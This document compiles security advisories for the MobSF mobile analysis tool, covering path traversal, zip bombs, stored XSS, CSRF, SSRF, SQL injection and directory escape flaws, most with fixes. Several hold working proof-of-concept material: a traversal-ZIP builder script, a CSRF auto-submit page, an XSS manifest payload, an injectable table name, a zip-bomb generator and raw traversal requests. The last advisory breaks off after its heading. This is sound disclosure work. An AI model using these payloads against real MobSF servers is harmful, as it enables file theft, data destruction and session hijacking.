As part of static analysis, iOS MobSF supports loading and parsing statically linked libraries .a. When parsing such archives, the code extracts the embedded objects to the file system in the working directory of the analysis. The problem is that the current implementation does not prohibit absolute file names inside .a. If an archive item has a name like /abs/path/to/file, the resulting path is constructed as Path(dst) /name; for absolute paths, this leads to a complete substitution of the destination directory: writing occurs directly to the specified absolute directory. the path (outside the working directory).

Thus, an authenticated user who uploaded a specially prepared .a, can write arbitrary files to any directory writable by the user of the MobSF process (for example, /tmp, neighboring directories inside ~/.MobSF, etc.).

The key reason is that checking the "sliding" paths only takes into account the presence of .. (relative traversal), but does not take into account the absoluteness of the name and does not compare the normalized target path with the root directory of the extraction.

What exactly is vulnerable:

mobsf/StaticAnalyzer/views/common/shared_func.py Function for extracting objects from .a — ar_extract

def ar_extract(checksum, src, dst):
    """Extract AR archive."""
    ...
    ar = arpy.Archive(src)
    ar.read_all_headers()
    for a, val in ar.archived_files.items():
        # Handle archive slip attacks
        filtered = a.decode('utf-8', 'ignore')
        if is_path_traversal(filtered):
            msg = f'Zip slip detected. skipped extracting {filtered}'
            logger.warning(msg)
            append_scan_status(checksum, msg)
            continue
        out = Path(dst) / filtered
        out.write_bytes(val.read())

• The “slip” check is limited to is_path_traversal(filtered), which looks only for traversal patterns like .., %2e%2e, %252e.
• Therefore, if the .a archive contains a member named '/tmp/pwned.txt', MobSF will write it to /tmp/pwned.txt, outside the intended working directory.

ar_extract is called from: mobsf/StaticAnalyzer/views/common/a.py

def extract_n_get_files(checksum, src, dst):
    dst = Path(dst) / 'static_objects'
    dst.mkdir(parents=True, exist_ok=True)
    ar_extract(checksum, src, dst.as_posix())

The expectation is that extraction happens only under the static_objects subdirectory, but absolute file names inside the .a break this assumption by directing writes outside that directory.

Attack Scenario

1. The attacker creates a valid AR archive.a, in which the name of one of the members is the absolute path (as an example) /home/mobsf/.MobSF/db.sqlite3. This is done by the standard AR (GNU long filename table) mechanism.
2. It downloads this one via the web interface or the Static library loading API .a in MobSF.
3. During the analysis, MobSF extracts the contents: due to the absolute name, the resulting path becomes /home/mobsf/.MobSF/db.sqlite3, and the file is created/overwritten outside the working directory.
4. In our case, the database file was overwritten, which caused MobSF to malfunction.

PoC

1. Using the script, create a file with the payload. In the example, this is "/home/mobsf/.MobSF/db.sqlite3"

2. Connect to the container and verify that the db.sqlite3 file is a database. The scan has not been performed yet.

3. Upload the file for scanning and then update the page to get a server error.

4. Check the file structure after scanning and see that the file has been overwritten.

5. There is a database error in the MobSF log.

Impact

1. Arbitrary writing/overwriting of files within the rights of the MobSF process (for example, /tmp, directories with analysis results, logs).
2. Distortion of analysis results (substitution of artifacts) and undermining the integrity of reports.
3. Implementation of a system malfunction (overwriting the db.sqlite3 file).
4. Compromise of the UI (if you have write rights to statics/templates): Stored XSS by overwriting the plug-in.js/template.
5. Potential escalation of risks with lax configuration of containers/rights (for example, writing to system paths inside the container if the process is running with excessive privileges).

Mitigation

Reject absolute paths and normalize before writing.

Please, assign all credits to Vasily Leshchenko (Solar AppSec)

Vulnerable MobSF Versions: <= v4.3.2

Details: MobSF is a widely adopted mobile application security testing tool used by security teams across numerous organizations. Typically, MobSF is deployed on centralized internal or cloud-based servers that also host other security tools and web applications. Access to the MobSF web interface is often granted to internal security teams, audit teams, and external vendors.

MobSF provides a feature that allows users to upload ZIP files for static analysis. Upon upload, these ZIP files are automatically extracted and stored within the MobSF directory. However, this functionality lacks a check on the total uncompressed size of the ZIP file, making it vulnerable to a ZIP of Death (zip bomb) attack.

Due to the absence of safeguards against oversized extractions, an attacker can craft a specially prepared ZIP file that is small in compressed form but expands to a massive size upon extraction. Exploiting this, an attacker can exhaust the server's disk space, leading to a complete denial of service (DoS) not just for MobSF, but also for any other applications or websites hosted on the same server.

Attack Scenario: Suppose the server hosting MobSF has 5 GB of free disk space..

A malicious user will first create a genuine hello world application code using android studio and inside this code directory (app//src/main/java/APK_PATH/bomb.txt) he'll place a bomb.txt file.

This bomb.txt file will have billions of zeros to increase the file size on storage and make it to 4.99 GB. Now suppose the resultant hello world code directory including original code and bomb.txt files will be of 5GB, so the attacker will compress the entire hello world code directory to zip and resultant zip will be around 12-15 MBs only.

An attacker will upload this zip bomb using the MobSF web interface or API. So an attacker will spend only 12-15 MB of his bandwidth.

Now the MobSF tool will extract that zip file and it'll be automatically converted into its original size 5GB.

So now a web server will be forced to store 5GB of data and its storage will be exhausted by an attacker's single request.

Web server's storage and resources will not be able to handle other running websites or applications as the storage is exhausted. This way an attacker can achieve complete Web Server Resource Exhaustion.

Impact:

1. This vulnerability can lead to complete server disruption in an organization which can affect other internal portals and tools too (which are hosted on the same server).
2. If some organization has created their customised cloud based mobile security tool using MobSF core then an attacker can exploit this vulnerability to crash their servers.

POC:

1. Screen Recording :
   https://drive.google.com/file/d/1x7GEPJr2T04Ij5ZFQQtGWvUWXtM4M4aw/view?usp=sharing
2. POC Zip Bomb File (Upon extraction this file will consume 6GB of storage) : https://drive.google.com/file/d/1N3apL1ySMecnt3HUQcDcuH7hsjPrdwUj/view?usp=sharing

Mitigation: It is recommended to implement a safeguard that checks the total uncompressed size of any uploaded ZIP file before extraction. If the estimated uncompressed size exceeds a safe threshold (e.g., 100 MB), MobSF should reject the file and notify the user.

Vulnerable MobSF Versions: <= v4.3.2

CVSS V4.0 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N)

Details: A Stored Cross-Site Scripting (XSS) vulnerability has been identified in MobSF versions ≤ 4.3.2. The vulnerability arises from improper sanitization of user-supplied SVG files during the Android APK analysis workflow.

When an Android Studio project contains a malicious SVG file as an app icon (e.g path, /app/src/main/res/mipmap-hdpi/ic_launcher.svg), and the project is zipped and uploaded to MobSF, the tool processes and extracts the contents without validating or sanitizing the SVG.

Upcon ZIP extraction this icon file is saved by MobSF to: user/.MobSF/downloads/.svg

This file becomes publicly accessible via the web interface at:

http://127.0.0.1:8081/download/filename.svg

If the SVG contains embedded JavaScript (e.g., an XSS payload), accessing this URL via a browser leads to the execution of the script in the context of the MobSF user session, resulting in stored XSS.

Proof Of Concept:

1. Create a malicious SVG file (ic_launcher.svg) with an embedded XSS payload.

2. Place the file in the Android Studio project directory: /app/src/main/res/mipmap-hdpi/ic_launcher.svg

3. Zip the project directory and upload it to MobSF.

4. After the scan, navigate to the "Recent Scans" page in the MobSF web interface and click on the scan entry and open the icon file in a new browser tab.

5. The XSS payload is executed, confirming the vulnerability.

Summary

The find_icon_path_zip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.

An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWD_DIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWED_EXTENSIONS.

Details

elif icon_path.startswith(('res/', '/res/')):
    stripped_relative_path = icon_path.strip('/res')  # Works for neither /res nor res
    full_path = os.path.join(res_dir, stripped_relative_path)
    if os.path.exists(full_path):
        return full_path
    full_path += '.png'
    if os.path.exists(full_path):
        return full_path

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126

This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWD_DIR/<md5>-icon.<ext>:

icon_file = find_icon_path_zip(
        app_dic['md5'],
        res_path,
        icon_from_mfst)
    if icon_file and Path(icon_file).exists():
        dwd = Path(settings.DWD_DIR)
        out = dwd / (app_dic['md5'] + '-icon' + Path(icon_file).suffix)
        copy2(icon_file, out)
        app_dic['icon_path'] = out.name

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101

Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>

PoC

The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):

import hashlib
import io
import zipfile

DEFAULT_HOST = "http://localhost:8000"
DEFAULT_TARGET = "res/../../../signatures/maltrail-malware-domains.txt"

MANIFEST_TEMPLATE = """\
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.icontraversal">
    <application android:icon="{target}"
                 android:label="PoC App">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>
"""

MAIN_ACTIVITY = """\
package com.poc.icontraversal;
import android.app.Activity;
public class MainActivity extends Activity {}
"""

host = DEFAULT_HOST
target = DEFAULT_TARGET
host = host.rstrip("/")

# crate ZIP
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("AndroidManifest.xml", MANIFEST_TEMPLATE.format(target=target))
    zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAIN_ACTIVITY)
    zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n")

# compute hash
zip_bytes = buf.getvalue()
md5 = hashlib.md5(zip_bytes).hexdigest()

# write to disk
out_file = "poc_icon_traversal.zip"
with open(out_file, "wb") as f:
    f.write(zip_bytes)

import os
target_suffix = os.path.splitext(target.strip("/res").split("/")[-1])[1]
download_filename = f"{md5}-icon{target_suffix}"

print(f"[+] ZIP created : {os.path.abspath(out_file)}")
print(f"[+] Target file : {target}")
print()
print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI")
print()
print("[ Step 2 ] Wait for the scan to complete, then browse to:")
print(f"    {host}/download/{download_filename}")

Impact

This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWED_EXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the icon_path field in the scan report (if the target does not exist the path will be empty).

Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.

Remediation

This can fixed by using the is_path_traversal function to validate user input.

Summary

Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARE_CLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.

Verified Impact

This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:

$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
    -d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}

The scan was removed from the database. This attack works from any website via HTML form auto-submission because:

• No CSRF token is validated (middleware absent)
• Cookie SameSite=Lax allows form-based top-level navigation to send the session cookie

Affected Component

File: mobsf/MobSF/settings.py (Lines 206-212)

MIDDLEWARE = (
    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)

Steps to Reproduce

1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).

2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".

3. Open the following HTML file in the same browser (simulates visiting attacker's page):

<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
  <input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
  <input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>

4. The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone.

Why This Is Not a Self-Bug

• The attack requires a victim user who is logged in to visit an attacker-controlled page
• The attacker crafts the form targeting the victim's MobSF instance
• All destructive POST endpoints are affected: /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, /delete_user/
• This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)

Remediation

Add 'django.middleware.csrf.CsrfViewMiddleware' to the active MIDDLEWARE tuple.

Summary

MobSF's Android App Link assetlinks checker validates only the manifest android:host value with valid_host(), but then appends the separate android:port value into the URL used for the server-side request. This bypasses the current port restriction in valid_host() and lets a crafted APK cause MobSF to fetch http://host:<attacker-port>/.well-known/assetlinks.json or https://host:<attacker-port>/.well-known/assetlinks.json.

Impact

An authenticated user who can upload or trigger analysis of a crafted APK can cause the MobSF server to make an outbound request to an attacker-selected port during Android manifest analysis. When the host is controlled by the attacker and uses DNS rebinding, the validation lookup can resolve to a public IP while the later HTTP client lookup resolves to an internal address, allowing SSRF to internal services on non-80/443 ports.

This is not arbitrary URL SSRF. The path remains fixed to /.well-known/assetlinks.json, and redirects are disabled. The bypass is that the final fetched URL is assembled after the host-only validation, so the current port guard is not applied to the actual URL.

Root cause

valid_host() rejects ports other than 80 and 443 when a port is included in the string being validated:

port = parsed.port
...
if port and port not in (80, 443):
    return False

In get_browsable_activities(), only the host attribute is passed to valid_host():

host = data.getAttribute(f'{ns}:host')
port = data.getAttribute(f'{ns}:port')
...
if not valid_host(host):
    logger.warning('Invalid Host: %s', host)
    continue
shost = f'{scheme}://{host}'
if port and is_number(port):
    c_url = f'{shost}:{port}{WELL_KNOWN_PATH}'
else:
    c_url = f'{shost}{WELL_KNOWN_PATH}'
well_known[c_url] = shost

_check_url() then fetches the assembled URL after checking only path, query, and params:

purl = urlparse(url)
if (purl.path != WELL_KNOWN_PATH
    or len(purl.query) > 0
        or len(purl.params) > 0):
    logger.warning('Invalid Assetlinks URL: %s', url)
    continue
r = requests.get(url,
                 timeout=5,
                 allow_redirects=False,
                 proxies=proxies,
                 verify=verify)

Reproduction

Use an Android manifest with a browsable App Link data tag that has a benign-looking host and a restricted port:

<activity android:name=".DeepLink" android:exported="true">
  <intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.BROWSABLE" />
    <category android:name="android.intent.category.DEFAULT" />
    <data android:scheme="http" android:host="rebind.example" android:port="22" />
  </intent-filter>
</activity>

A safe local proof with DNS and HTTP monkeypatching shows that MobSF validates only rebind.example, then fetches a URL that preserves the unchecked port:

well_known map: {'http://rebind.example:22/.well-known/assetlinks.json': 'http://rebind.example'}
requests.get calls: [('http://rebind.example:22/.well-known/assetlinks.json', {'timeout': 5, 'allow_redirects': False, 'proxies': None, 'verify': True})]
findings: [{'url': 'http://rebind.example:22/.well-known/assetlinks.json', 'host': 'http://rebind.example', 'status_code': 200, 'status': True}]
VULNERABLE: valid_host validated only rebind.example, but assetlinks_check fetched unchecked port 22 via http://rebind.example:22/.well-known/assetlinks.json

The same code pattern is present in latest release v4.4.6 and current main.

Remediation

Validate the final URL after all manifest components have been applied. In particular:

1. Build c_url, then run validation on the full URL, including scheme, hostname, port, path, query, and params.
2. Reject android:port values other than 80 and 443 before appending them to the URL.
3. Prevent DNS rebinding by pinning the validated DNS result to the outbound connection or otherwise ensuring the actual HTTP request cannot resolve to a different address than the validation step.
4. Keep allow_redirects=False for the existing redirect mitigation.

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

• This affects any user who scans a maliciously crafted APK
• The APK could come from a legitimate-looking package submitted for security review
• Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
• Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE

Description

MobSF's read_sqlite() function in mobsf/MobSF/utils.py (lines 542-566) uses Python string formatting (%) to construct SQL queries with table names read from a SQLite database's sqlite_master table. When a security analyst uses MobSF to analyze a malicious mobile application containing a crafted SQLite database, attacker-controlled table names are interpolated directly into SQL queries without parameterization or escaping.

This allows an attacker to:

1. Cause Denial of Service -- A malicious table name causes the database viewer to crash, preventing the analyst from viewing ANY data in the SQLite database. A malicious app can use this to hide sensitive data (C2 server URLs, stolen credentials, API keys) from MobSF's analysis.

2. Achieve SQL Injection -- The SELECT * FROM query on line 557 is provably injectable via UNION SELECT, allowing attacker-controlled data to be returned in query results. The current code structure (a PRAGMA statement that runs first on line 553) limits the full exploitation chain, but the underlying code is verifiably injectable.

Root Cause

The vulnerable code in mobsf/MobSF/utils.py:542-566:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_dict[table[0]] = {'head': [], 'data': []}
            cur.execute('PRAGMA table_info(\'%s\')' % table)    # <-- INJECTION POINT 1
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table[0]]['head'].append(sq_row[1])
            cur.execute('SELECT * FROM \'%s\'' % table)         # <-- INJECTION POINT 2
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table[0]]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

Lines 553 and 557 use % string formatting to interpolate table (a tuple from sqlite_master) directly into SQL strings. The table value is attacker-controlled when the SQLite database originates from a malicious application being analyzed.

Attack Vector

The read_sqlite() function is called from two locations:

1. Dynamic Analysis File Viewer (mobsf/DynamicAnalyzer/views/common/device.py:64):

   • Triggered when an analyst clicks to view a .db file in device data
   • Applies to both Android and iOS dynamic analysis

2. iOS Static Analysis File Viewer (mobsf/StaticAnalyzer/views/ios/views/view_source.py:123):

   • Triggered when an analyst clicks to view a .db file during iOS static analysis

Attack Scenario

1. Attacker creates a malicious Android APK (or iOS IPA) containing a SQLite database with a crafted table name in the assets/ directory
2. The SQLite database contains a table created with:

   CREATE TABLE "x' UNION SELECT 'SQL_INJECTION_PROOF'--" (id INTEGER);
   

3. Security analyst uploads the application to MobSF for analysis
4. Analyst browses the extracted files and clicks to view the SQLite database
5. MobSF's read_sqlite() reads table names from sqlite_master, including the malicious name x' UNION SELECT 'SQL_INJECTION_PROOF'--
6. The table name is interpolated into SQL queries via string formatting:
   • PRAGMA table_info('x' UNION SELECT 'SQL_INJECTION_PROOF'--') -- causes syntax error (DoS)
   • SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--' -- SQL injection (UNION SELECT returns attacker data)

Impact

Denial of Service (Confirmed)

When the malicious table name is the first table in sqlite_master (i.e., created first in the database), the PRAGMA statement on line 553 raises a sqlite3.OperationalError, which is caught by the outer try/except. This causes read_sqlite() to return an empty or partial result, preventing the analyst from viewing any database content.

Security impact: A malicious app author can use this technique to hide incriminating data stored in SQLite databases from MobSF's analysis. This directly undermines MobSF's core purpose as a security analysis tool.

SQL Injection (Confirmed in Isolation)

The SELECT * FROM query on line 557 is demonstrably injectable. When the malicious table name x' UNION SELECT 'SQL_INJECTION_PROOF'-- is interpolated, the resulting query:

SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'

Successfully executes and returns attacker-controlled data via UNION SELECT. The -- comments out the trailing single quote. This is verified by the PoC script.

Note: In the current code structure, the PRAGMA table_info() statement on line 553 runs before the SELECT * FROM on line 557. The PRAGMA fails with a syntax error for injected payloads, which triggers the exception handler before the SELECT can execute. This limits the full exploitation chain. However, the code flaw is real and any future refactoring that changes the execution order or removes the PRAGMA would immediately expose the full SQL injection.

Proof of Concept

Files Provided(Gdrive)

| File | Description | |------|-------------| | poc_sqlite_injection.py | Standalone PoC demonstrating the vulnerability | | malicious.db | Crafted SQLite database (generated by PoC) | | create_malicious_apk.sh | Script to package the malicious DB into an APK | | malicious_sqli.apk | Pre-built APK for testing against MobSF |

https://drive.google.com/drive/folders/1mNGkFfNowkaZ5J018HFi4IQcnjKaWCym?usp=sharing

Running the PoC

# Run the standalone PoC (no MobSF required)
python3 poc_sqlite_injection.py

# Build the malicious APK (requires Android SDK)
./create_malicious_apk.sh

# Test against MobSF
# 1. Start MobSF
# 2. Upload malicious_sqli.apk
# 3. Browse extracted files -> click app_data.db
# 4. Observe: database viewer fails (DoS)

PoC Output (Abbreviated)

[STEP 2] Running MobSF's read_sqlite() against malicious database...
    [!] EXCEPTION CAUGHT: OperationalError: near "UNION": syntax error
    [!] DoS CONFIRMED: read_sqlite() crashed

[STEP 3] Demonstrating SELECT * FROM injection in isolation...
    Query: SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'
    [+] Query executed successfully!
    [+] Results: [('SQL_INJECTION_PROOF',), ('normal_data',)]
    [+] SQL INJECTION CONFIRMED

[STEP 4] Complete DoS (malicious table created first):
    Tables with data: NONE
    [!] COMPLETE DoS CONFIRMED

Suggested Fix

Replace string formatting with properly quoted identifiers. SQLite uses double quotes for identifiers:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_name = table[0]
            # Properly escape table name as a double-quoted identifier
            safe_name = table_name.replace('"', '""')
            table_dict[table_name] = {'head': [], 'data': []}
            cur.execute(f'PRAGMA table_info("{safe_name}")')
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table_name]['head'].append(sq_row[1])
            cur.execute(f'SELECT * FROM "{safe_name}"')
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table_name]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

This escapes any double quotes within table names by doubling them (" → ""), which is the standard SQL mechanism for identifier quoting. This prevents breakout from the double-quoted identifier context.

Resources

• CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
• OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
• Affected File: mobsf/MobSF/utils.py, lines 542-566

Summary

A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

Details

When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

Vulnerable Code Path

1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))

2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):

'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped

3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):

'dialer_code_found': {
    'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
    ...
}

4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):

{{item|key:"title" | safe}}

The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

PoC

Step 1: Create Malicious APK

Create an APK with the following AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.xsstest"
    android:versionCode="1"
    android:versionName="1.0">

    <application android:label="XSS PoC Test">
        <receiver android:name=".SecretCodeReceiver" android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SECRET_CODE"/>
                <data android:scheme="android_secret_code"
                      android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

Confirmed HTML Output

<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>

PoC APK Details

| Field | Value | |-------|-------| | Filename | POC_XSS_APK.apk | | MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b | | Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |

Impact

This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest
2. Attacker submits APK to a shared MobSF instance or private mobsf instance.
3. When any user views the analysis report, the XSS payload executes in their browser

Tested in MobSF Public Instance as well. https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/

Summary

The GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

Details

def is_safe_path(safe_root, check_path):
    safe_root  = os.path.realpath(os.path.normpath(safe_root))
    check_path = os.path.realpath(os.path.normpath(check_path))
    return os.path.commonprefix([check_path, safe_root]) == safe_root

commonprefix compares raw strings, not path components. For:

safe_root  = /home/mobsf/.MobSF/downloads
check_path = /home/mobsf/.MobSF/downloads_bak/test.txt

the function returns True, incorrectly treating downloads_bak as inside downloads. Download handler:

# MobSF/views/home.py
@login_required
def download(request):
    root = settings.DWD_DIR
    filename = request.path.replace('/download/', '', 1)
    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'
    if '../' in filename or not is_safe_path(root, dwd_file):
        return HttpResponseForbidden(...)
    ext = dwd_file.suffix
    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():
        return file_download(dwd_file, ...)

If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS

PoC

Prereqs: authenticated user; standard install. Assume:

settings.DWD_DIR = /home/mobsf/.MobSF/downloads

Prepare a sibling directory with the same string prefix and a test file:

mkdir -p /home/mobsf/.MobSF/downloads_bak
echo "test" > /home/mobsf/.MobSF/downloads_bak/test.txt

As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):

GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1
Host: <HOST>
Cookie: sessionid=<YOUR_SESSION>

Other working sibling directory names (if present):

…/downloads.old/...
…/downloads_backup/...
…/downloads1/...
…/downloads-archive/...
…/downloads 2024/... (URL-encoded space: downloads%202024)

Impact

Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.

Summary

The vulnerability allows any user to overwrite any files available under the account privileges of the running process.

Details

